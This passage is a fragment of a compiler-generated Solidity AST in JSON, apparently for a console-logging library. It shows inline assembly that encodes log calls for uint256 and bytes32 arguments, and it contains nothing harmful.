r","src":"61830:6:22"},"nativeSrc":"61830:16:22","nodeType":"YulFunctionCall","src":"61830:16:22"},"nativeSrc":"61830:16:22","nodeType":"YulExpressionStatement","src":"61830:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61866:4:22","nodeType":"YulLiteral","src":"61866:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"61872:4:22","nodeType":"YulLiteral","src":"61872:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"61859:6:22","nodeType":"YulIdentifier","src":"61859:6:22"},"nativeSrc":"61859:18:22","nodeType":"YulFunctionCall","src":"61859:18:22"},"nativeSrc":"61859:18:22","nodeType":"YulExpressionStatement","src":"61859:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61897:4:22","nodeType":"YulLiteral","src":"61897:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"61903:4:22","nodeType":"YulLiteral","src":"61903:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"61890:6:22","nodeType":"YulIdentifier","src":"61890:6:22"},"nativeSrc":"61890:18:22","nodeType":"YulFunctionCall","src":"61890:18:22"},"nativeSrc":"61890:18:22","nodeType":"YulExpressionStatement","src":"61890:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61933:4:22","nodeType":"YulLiteral","src":"61933:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"61939:2:22","nodeType":"YulIdentifier","src":"61939:2:22"}],"functionName":{"name":"writeString","nativeSrc":"61921:11:22","nodeType":"YulIdentifier","src":"61921:11:22"},"nativeSrc":"61921:21:22","nodeType":"YulFunctionCall","src":"61921:21:22"},"nativeSrc":"61921:21:22","nodeType":"YulExpressionStatement","src":"61921:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61967:4:22","nodeType":"YulLiteral","src":"61967:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"61973:2:22","nodeType":"YulIdentifier","src":"61973:2:22"}],"functionName":{"name":"writeString","nativeSrc":"61955:11:22","nodeType":"YulIdentifier","src":"61955:11:22"},"nativeSrc":"61955:21:22","nodeType":"YulFunctionCall","src":"61955:21:22"},"nativeSrc":"61955:21:22","nodeType":"YulExpressionStatement","src":"61955:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35707,"isOffset":false,"isSlot":false,"src":"61496:2:22","valueSize":1},{"declaration":35710,"isOffset":false,"isSlot":false,"src":"61526:2:22","valueSize":1},{"declaration":35713,"isOffset":false,"isSlot":false,"src":"61556:2:22","valueSize":1},{"declaration":35716,"isOffset":false,"isSlot":false,"src":"61586:2:22","valueSize":1},{"declaration":35719,"isOffset":false,"isSlot":false,"src":"61616:2:22","valueSize":1},{"declaration":35722,"isOffset":false,"isSlot":false,"src":"61646:2:22","valueSize":1},{"declaration":35725,"isOffset":false,"isSlot":false,"src":"61676:2:22","valueSize":1},{"declaration":35728,"isOffset":false,"isSlot":false,"src":"61706:2:22","valueSize":1},{"declaration":35699,"isOffset":false,"isSlot":false,"src":"61843:2:22","valueSize":1},{"declaration":35701,"isOffset":false,"isSlot":false,"src":"61939:2:22","valueSize":1},{"declaration":35703,"isOffset":false,"isSlot":false,"src":"61973:2:22","valueSize":1}],"id":35730,"nodeType":"InlineAssembly","src":"61118:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35732,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"62011:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":35733,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"62017:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":35731,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"61995:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61995:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35735,"nodeType":"ExpressionStatement","src":"61995:27:22"},{"AST":{"nativeSrc":"62041:243:22","nodeType":"YulBlock","src":"62041:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"62062:4:22","nodeType":"YulLiteral","src":"62062:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"62068:2:22","nodeType":"YulIdentifier","src":"62068:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62055:6:22","nodeType":"YulIdentifier","src":"62055:6:22"},"nativeSrc":"62055:16:22","nodeType":"YulFunctionCall","src":"62055:16:22"},"nativeSrc":"62055:16:22","nodeType":"YulExpressionStatement","src":"62055:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62091:4:22","nodeType":"YulLiteral","src":"62091:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"62097:2:22","nodeType":"YulIdentifier","src":"62097:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62084:6:22","nodeType":"YulIdentifier","src":"62084:6:22"},"nativeSrc":"62084:16:22","nodeType":"YulFunctionCall","src":"62084:16:22"},"nativeSrc":"62084:16:22","nodeType":"YulExpressionStatement","src":"62084:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62120:4:22","nodeType":"YulLiteral","src":"62120:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"62126:2:22","nodeType":"YulIdentifier","src":"62126:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62113:6:22","nodeType":"YulIdentifier","src":"62113:6:22"},"nativeSrc":"62113:16:22","nodeType":"YulFunctionCall","src":"62113:16:22"},"nativeSrc":"62113:16:22","nodeType":"YulExpressionStatement","src":"62113:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62149:4:22","nodeType":"YulLiteral","src":"62149:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"62155:2:22","nodeType":"YulIdentifier","src":"62155:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62142:6:22","nodeType":"YulIdentifier","src":"62142:6:22"},"nativeSrc":"62142:16:22","nodeType":"YulFunctionCall","src":"62142:16:22"},"nativeSrc":"62142:16:22","nodeType":"YulExpressionStatement","src":"62142:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62178:4:22","nodeType":"YulLiteral","src":"62178:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"62184:2:22","nodeType":"YulIdentifier","src":"62184:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62171:6:22","nodeType":"YulIdentifier","src":"62171:6:22"},"nativeSrc":"62171:16:22","nodeType":"YulFunctionCall","src":"62171:16:22"},"nativeSrc":"62171:16:22","nodeType":"YulExpressionStatement","src":"62171:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62207:4:22","nodeType":"YulLiteral","src":"62207:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"62213:2:22","nodeType":"YulIdentifier","src":"62213:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62200:6:22","nodeType":"YulIdentifier","src":"62200:6:22"},"nativeSrc":"62200:16:22","nodeType":"YulFunctionCall","src":"62200:16:22"},"nativeSrc":"62200:16:22","nodeType":"YulExpressionStatement","src":"62200:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62236:4:22","nodeType":"YulLiteral","src":"62236:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"62242:2:22","nodeType":"YulIdentifier","src":"62242:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62229:6:22","nodeType":"YulIdentifier","src":"62229:6:22"},"nativeSrc":"62229:16:22","nodeType":"YulFunctionCall","src":"62229:16:22"},"nativeSrc":"62229:16:22","nodeType":"YulExpressionStatement","src":"62229:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"62265:4:22","nodeType":"YulLiteral","src":"62265:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"62271:2:22","nodeType":"YulIdentifier","src":"62271:2:22"}],"functionName":{"name":"mstore","nativeSrc":"62258:6:22","nodeType":"YulIdentifier","src":"62258:6:22"},"nativeSrc":"62258:16:22","nodeType":"YulFunctionCall","src":"62258:16:22"},"nativeSrc":"62258:16:22","nodeType":"YulExpressionStatement","src":"62258:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35707,"isOffset":false,"isSlot":false,"src":"62068:2:22","valueSize":1},{"declaration":35710,"isOffset":false,"isSlot":false,"src":"62097:2:22","valueSize":1},{"declaration":35713,"isOffset":false,"isSlot":false,"src":"62126:2:22","valueSize":1},{"declaration":35716,"isOffset":false,"isSlot":false,"src":"62155:2:22","valueSize":1},{"declaration":35719,"isOffset":false,"isSlot":false,"src":"62184:2:22","valueSize":1},{"declaration":35722,"isOffset":false,"isSlot":false,"src":"62213:2:22","valueSize":1},{"declaration":35725,"isOffset":false,"isSlot":false,"src":"62242:2:22","valueSize":1},{"declaration":35728,"isOffset":false,"isSlot":false,"src":"62271:2:22","valueSize":1}],"id":35736,"nodeType":"InlineAssembly","src":"62032:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60894:3:22","parameters":{"id":35704,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35699,"mutability":"mutable","name":"p0","nameLocation":"60906:2:22","nodeType":"VariableDeclaration","scope":35738,"src":"60898:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35698,"name":"uint256","nodeType":"ElementaryTypeName","src":"60898:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35701,"mutability":"mutable","name":"p1","nameLocation":"60918:2:22","nodeType":"VariableDeclaration","scope":35738,"src":"60910:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35700,"name":"bytes32","nodeType":"ElementaryTypeName","src":"60910:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35703,"mutability":"mutable","name":"p2","nameLocation":"60930:2:22","nodeType":"VariableDeclaration","scope":35738,"src":"60922:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35702,"name":"bytes32","nodeType":"ElementaryTypeName","src":"60922:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"60897:36:22"},"returnParameters":{"id":35705,"nodeType":"ParameterList","parameters":[],"src":"60948:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35773,"nodeType":"FunctionDefinition","src":"62296:1212:22","nodes":[],"body":{"id":35772,"nodeType":"Block","src":"62359:1149:22","nodes":[],"statements":[{"assignments":[35748],"declarations":[{"constant":false,"id":35748,"mutability":"mutable","name":"m0","nameLocation":"62377:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35747,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62369:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35749,"nodeType":"VariableDeclarationStatement","src":"62369:10:22"},{"assignments":[35751],"declarations":[{"constant":false,"id":35751,"mutability":"mutable","name":"m1","nameLocation":"62397:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62389:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35750,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62389:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35752,"nodeType":"VariableDeclarationStatement","src":"62389:10:22"},{"assignments":[35754],"declarations":[{"constant":false,"id":35754,"mutability":"mutable","name":"m2","nameLocation":"62417:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62409:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35753,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62409:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35755,"nodeType":"VariableDeclarationStatement","src":"62409:10:22"},{"assignments":[35757],"declarations":[{"constant":false,"id":35757,"mutability":"mutable","name":"m3","nameLocation":"62437:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35756,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62429:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35758,"nodeType":"VariableDeclarationStatement","src":"62429:10:22"},{"assignments":[35760],"declarations":[{"constant":false,"id":35760,"mutability":"mutable","name":"m4","nameLocation":"62457:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35761,"nodeType":"VariableDeclarationStatement","src":"62449:10:22"},{"assignments":[35763],"declarations":[{"constant":false,"id":35763,"mutability":"mutable","name":"m5","nameLocation":"62477:2:22","nodeType":"VariableDeclaration","scope":35772,"src":"62469:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35762,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62469:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35764,"nodeType":"VariableDeclarationStatement","src":"62469:10:22"},{"AST":{"nativeSrc":"62498:764:22","nodeType":"YulBlock","src":"62498:764:22","statements":[{"body":{"nativeSrc":"62541:313:22","nodeType":"YulBlock","src":"62541:313:22","statements":[{"nativeSrc":"62559:15:22","nodeType":"YulVariableDeclaration","src":"62559:15:22","value":{"kind":"number","nativeSrc":"62573:1:22","nodeType":"YulLiteral","src":"62573:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"62563:6:22","nodeType":"YulTypedName","src":"62563:6:22","type":""}]},{"body":{"nativeSrc":"62644:40:22","nodeType":"YulBlock","src":"62644:40:22","statements":[{"body":{"nativeSrc":"62673:9:22","nodeType":"YulBlock","src":"62673:9:22","statements":[{"nativeSrc":"62675:5:22","nodeType":"YulBreak","src":"62675:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"62661:6:22","nodeType":"YulIdentifier","src":"62661:6:22"},{"name":"w","nativeSrc":"62669:1:22","nodeType":"YulIdentifier","src":"62669:1:22"}],"functionName":{"name":"byte","nativeSrc":"62656:4:22","nodeType":"YulIdentifier","src":"62656:4:22"},"nativeSrc":"62656:15:22","nodeType":"YulFunctionCall","src":"62656:15:22"}],"functionName":{"name":"iszero","nativeSrc":"62649:6:22","nodeType":"YulIdentifier","src":"62649:6:22"},"nativeSrc":"62649:23:22","nodeType":"YulFunctionCall","src":"62649:23:22"},"nativeSrc":"62646:36:22","nodeType":"YulIf","src":"62646:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"62601:6:22","nodeType":"YulIdentifier","src":"62601:6:22"},{"kind":"number","nativeSrc":"62609:4:22","nodeType":"YulLiteral","src":"62609:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"62598:2:22","nodeType":"YulIdentifier","src":"62598:2:22"},"nativeSrc":"62598:16:22","nodeType":"YulFunctionCall","src":"62598:16:22"},"nativeSrc":"62591:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"62615:28:22","nodeType":"YulBlock","src":"62615:28:22","statements":[{"nativeSrc":"62617:24:22","nodeType":"YulAssignment","src":"62617:24:22","value":{"arguments":[{"name":"length","nativeSrc":"62631:6:22","nodeType":"YulIdentifier","src":"62631:6:22"},{"kind":"number","nativeSrc":"62639:1:22","nodeType":"YulLiteral","src":"62639:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"62627:3:22","nodeType":"YulIdentifier","src":"62627:3:22"},"nativeSrc":"62627:14:22","nodeType":"YulFunctionCall","src":"62627:14:22"},"variableNames":[{"name":"length","nativeSrc":"62617:6:22","nodeType":"YulIdentifier","src":"62617:6:22"}]}]},"pre":{"nativeSrc":"62595:2:22","nodeType":"YulBlock","src":"62595:2:22","statements":[]},"src":"62591:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"62708:3:22","nodeType":"YulIdentifier","src":"62708:3:22"},{"name":"length","nativeSrc":"62713:6:22","nodeType":"YulIdentifier","src":"62713:6:22"}],"functionName":{"name":"mstore","nativeSrc":"62701:6:22","nodeType":"YulIdentifier","src":"62701:6:22"},"nativeSrc":"62701:19:22","nodeType":"YulFunctionCall","src":"62701:19:22"},"nativeSrc":"62701:19:22","nodeType":"YulExpressionStatement","src":"62701:19:22"},{"nativeSrc":"62737:37:22","nodeType":"YulVariableDeclaration","src":"62737:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"62754:3:22","nodeType":"YulLiteral","src":"62754:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"62763:1:22","nodeType":"YulLiteral","src":"62763:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"62766:6:22","nodeType":"YulIdentifier","src":"62766:6:22"}],"functionName":{"name":"shl","nativeSrc":"62759:3:22","nodeType":"YulIdentifier","src":"62759:3:22"},"nativeSrc":"62759:14:22","nodeType":"YulFunctionCall","src":"62759:14:22"}],"functionName":{"name":"sub","nativeSrc":"62750:3:22","nodeType":"YulIdentifier","src":"62750:3:22"},"nativeSrc":"62750:24:22","nodeType":"YulFunctionCall","src":"62750:24:22"},"variables":[{"name":"shift","nativeSrc":"62741:5:22","nodeType":"YulTypedName","src":"62741:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"62802:3:22","nodeType":"YulIdentifier","src":"62802:3:22"},{"kind":"number","nativeSrc":"62807:4:22","nodeType":"YulLiteral","src":"62807:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"62798:3:22","nodeType":"YulIdentifier","src":"62798:3:22"},"nativeSrc":"62798:14:22","nodeType":"YulFunctionCall","src":"62798:14:22"},{"arguments":[{"name":"shift","nativeSrc":"62818:5:22","nodeType":"YulIdentifier","src":"62818:5:22"},{"arguments":[{"name":"shift","nativeSrc":"62829:5:22","nodeType":"YulIdentifier","src":"62829:5:22"},{"name":"w","nativeSrc":"62836:1:22","nodeType":"YulIdentifier","src":"62836:1:22"}],"functionName":{"name":"shr","nativeSrc":"62825:3:22","nodeType":"YulIdentifier","src":"62825:3:22"},"nativeSrc":"62825:13:22","nodeType":"YulFunctionCall","src":"62825:13:22"}],"functionName":{"name":"shl","nativeSrc":"62814:3:22","nodeType":"YulIdentifier","src":"62814:3:22"},"nativeSrc":"62814:25:22","nodeType":"YulFunctionCall","src":"62814:25:22"}],"functionName":{"name":"mstore","nativeSrc":"62791:6:22","nodeType":"YulIdentifier","src":"62791:6:22"},"nativeSrc":"62791:49:22","nodeType":"YulFunctionCall","src":"62791:49:22"},"nativeSrc":"62791:49:22","nodeType":"YulExpressionStatement","src":"62791:49:22"}]},"name":"writeString","nativeSrc":"62512:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"62533:3:22","nodeType":"YulTypedName","src":"62533:3:22","type":""},{"name":"w","nativeSrc":"62538:1:22","nodeType":"YulTypedName","src":"62538:1:22","type":""}],"src":"62512:342:22"},{"nativeSrc":"62867:17:22","nodeType":"YulAssignment","src":"62867:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"62879:4:22","nodeType":"YulLiteral","src":"62879:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"62873:5:22","nodeType":"YulIdentifier","src":"62873:5:22"},"nativeSrc":"62873:11:22","nodeType":"YulFunctionCall","src":"62873:11:22"},"variableNames":[{"name":"m0","nativeSrc":"62867:2:22","nodeType":"YulIdentifier","src":"62867:2:22"}]},{"nativeSrc":"62897:17:22","nodeType":"YulAssignment","src":"62897:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"62909:4:22","nodeType":"YulLiteral","src":"62909:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"62903:5:22","nodeType":"YulIdentifier","src":"62903:5:22"},"nativeSrc":"62903:11:22","nodeType":"YulFunctionCall","src":"62903:11:22"},"variableNames":[{"name":"m1","nativeSrc":"62897:2:22","nodeType":"YulIdentifier","src":"62897:2:22"}]},{"nativeSrc":"62927:17:22","nodeType":"YulAssignment","src":"62927:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"62939:4:22","nodeType":"YulLiteral","src":"62939:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"62933:5:22","nodeType":"YulIdentifier","src":"62933:5:22"},"nativeSrc":"62933:11:22","nodeType":"YulFunctionCall","src":"62933:11:22"},"variableNames":[{"name":"m2","nativeSrc":"62927:2:22","nodeType":"YulIdentifier","src":"62927:2:22"}]},{"nativeSrc":"62957:17:22","nodeType":"YulAssignment","src":"62957:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"62969:4:22","nodeType":"YulLiteral","src":"62969:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"62963:5:22","nodeType":"YulIdentifier","src":"62963:5:22"},"nativeSrc":"62963:11:22","nodeType":"YulFunctionCall","src":"62963:11:22"},"variableNames":[{"name":"m3","nativeSrc":"62957:2:22","nodeType":"YulIdentifier","src":"62957:2:22"}]},{"nativeSrc":"62987:17:22","nodeType":"YulAssignment","src":"62987:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"62999:4:22","nodeType":"YulLiteral","src":"62999:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"62993:5:22","nodeType":"YulIdentifier","src":"62993:5:22"},"nativeSrc":"62993:11:22","nodeType":"YulFunctionCall","src":"62993:11:22"},"variableNames":[{"name":"m4","nativeSrc":"62987:2:22","nodeType":"YulIdentifier","src":"62987:2:22"}]},{"nativeSrc":"63017:17:22","nodeType":"YulAssignment","src":"63017:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"63029:4:22","nodeType":"YulLiteral","src":"63029:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"63023:5:22","nodeType":"YulIdentifier","src":"63023:5:22"},"nativeSrc":"63023:11:22","nodeType":"YulFunctionCall","src":"63023:11:22"},"variableNames":[{"name":"m5","nativeSrc":"63017:2:22","nodeType":"YulIdentifier","src":"63017:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63112:4:22","nodeType":"YulLiteral","src":"63112:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"63118:10:22","nodeType":"YulLiteral","src":"63118:10:22","type":"","value":"0xfcec75e0"}],"functionName":{"name":"mstore","nativeSrc":"63105:6:22","nodeType":"YulIdentifier","src":"63105:6:22"},"nativeSrc":"63105:24:22","nodeType":"YulFunctionCall","src":"63105:24:22"},"nativeSrc":"63105:24:22","nodeType":"YulExpressionStatement","src":"63105:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63149:4:22","nodeType":"YulLiteral","src":"63149:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"63155:4:22","nodeType":"YulLiteral","src":"63155:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"63142:6:22","nodeType":"YulIdentifier","src":"63142:6:22"},"nativeSrc":"63142:18:22","nodeType":"YulFunctionCall","src":"63142:18:22"},"nativeSrc":"63142:18:22","nodeType":"YulExpressionStatement","src":"63142:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63180:4:22","nodeType":"YulLiteral","src":"63180:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"63186:2:22","nodeType":"YulIdentifier","src":"63186:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63173:6:22","nodeType":"YulIdentifier","src":"63173:6:22"},"nativeSrc":"63173:16:22","nodeType":"YulFunctionCall","src":"63173:16:22"},"nativeSrc":"63173:16:22","nodeType":"YulExpressionStatement","src":"63173:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63209:4:22","nodeType":"YulLiteral","src":"63209:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"63215:2:22","nodeType":"YulIdentifier","src":"63215:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63202:6:22","nodeType":"YulIdentifier","src":"63202:6:22"},"nativeSrc":"63202:16:22","nodeType":"YulFunctionCall","src":"63202:16:22"},"nativeSrc":"63202:16:22","nodeType":"YulExpressionStatement","src":"63202:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63243:4:22","nodeType":"YulLiteral","src":"63243:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"63249:2:22","nodeType":"YulIdentifier","src":"63249:2:22"}],"functionName":{"name":"writeString","nativeSrc":"63231:11:22","nodeType":"YulIdentifier","src":"63231:11:22"},"nativeSrc":"63231:21:22","nodeType":"YulFunctionCall","src":"63231:21:22"},"nativeSrc":"63231:21:22","nodeType":"YulExpressionStatement","src":"63231:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35748,"isOffset":false,"isSlot":false,"src":"62867:2:22","valueSize":1},{"declaration":35751,"isOffset":false,"isSlot":false,"src":"62897:2:22","valueSize":1},{"declaration":35754,"isOffset":false,"isSlot":false,"src":"62927:2:22","valueSize":1},{"declaration":35757,"isOffset":false,"isSlot":false,"src":"62957:2:22","valueSize":1},{"declaration":35760,"isOffset":false,"isSlot":false,"src":"62987:2:22","valueSize":1},{"declaration":35763,"isOffset":false,"isSlot":false,"src":"63017:2:22","valueSize":1},{"declaration":35740,"isOffset":false,"isSlot":false,"src":"63249:2:22","valueSize":1},{"declaration":35742,"isOffset":false,"isSlot":false,"src":"63186:2:22","valueSize":1},{"declaration":35744,"isOffset":false,"isSlot":false,"src":"63215:2:22","valueSize":1}],"id":35765,"nodeType":"InlineAssembly","src":"62489:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"63287:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"63293:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35766,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"63271:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63271:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35770,"nodeType":"ExpressionStatement","src":"63271:27:22"},{"AST":{"nativeSrc":"63317:185:22","nodeType":"YulBlock","src":"63317:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"63338:4:22","nodeType":"YulLiteral","src":"63338:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"63344:2:22","nodeType":"YulIdentifier","src":"63344:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63331:6:22","nodeType":"YulIdentifier","src":"63331:6:22"},"nativeSrc":"63331:16:22","nodeType":"YulFunctionCall","src":"63331:16:22"},"nativeSrc":"63331:16:22","nodeType":"YulExpressionStatement","src":"63331:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63367:4:22","nodeType":"YulLiteral","src":"63367:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"63373:2:22","nodeType":"YulIdentifier","src":"63373:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63360:6:22","nodeType":"YulIdentifier","src":"63360:6:22"},"nativeSrc":"63360:16:22","nodeType":"YulFunctionCall","src":"63360:16:22"},"nativeSrc":"63360:16:22","nodeType":"YulExpressionStatement","src":"63360:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63396:4:22","nodeType":"YulLiteral","src":"63396:4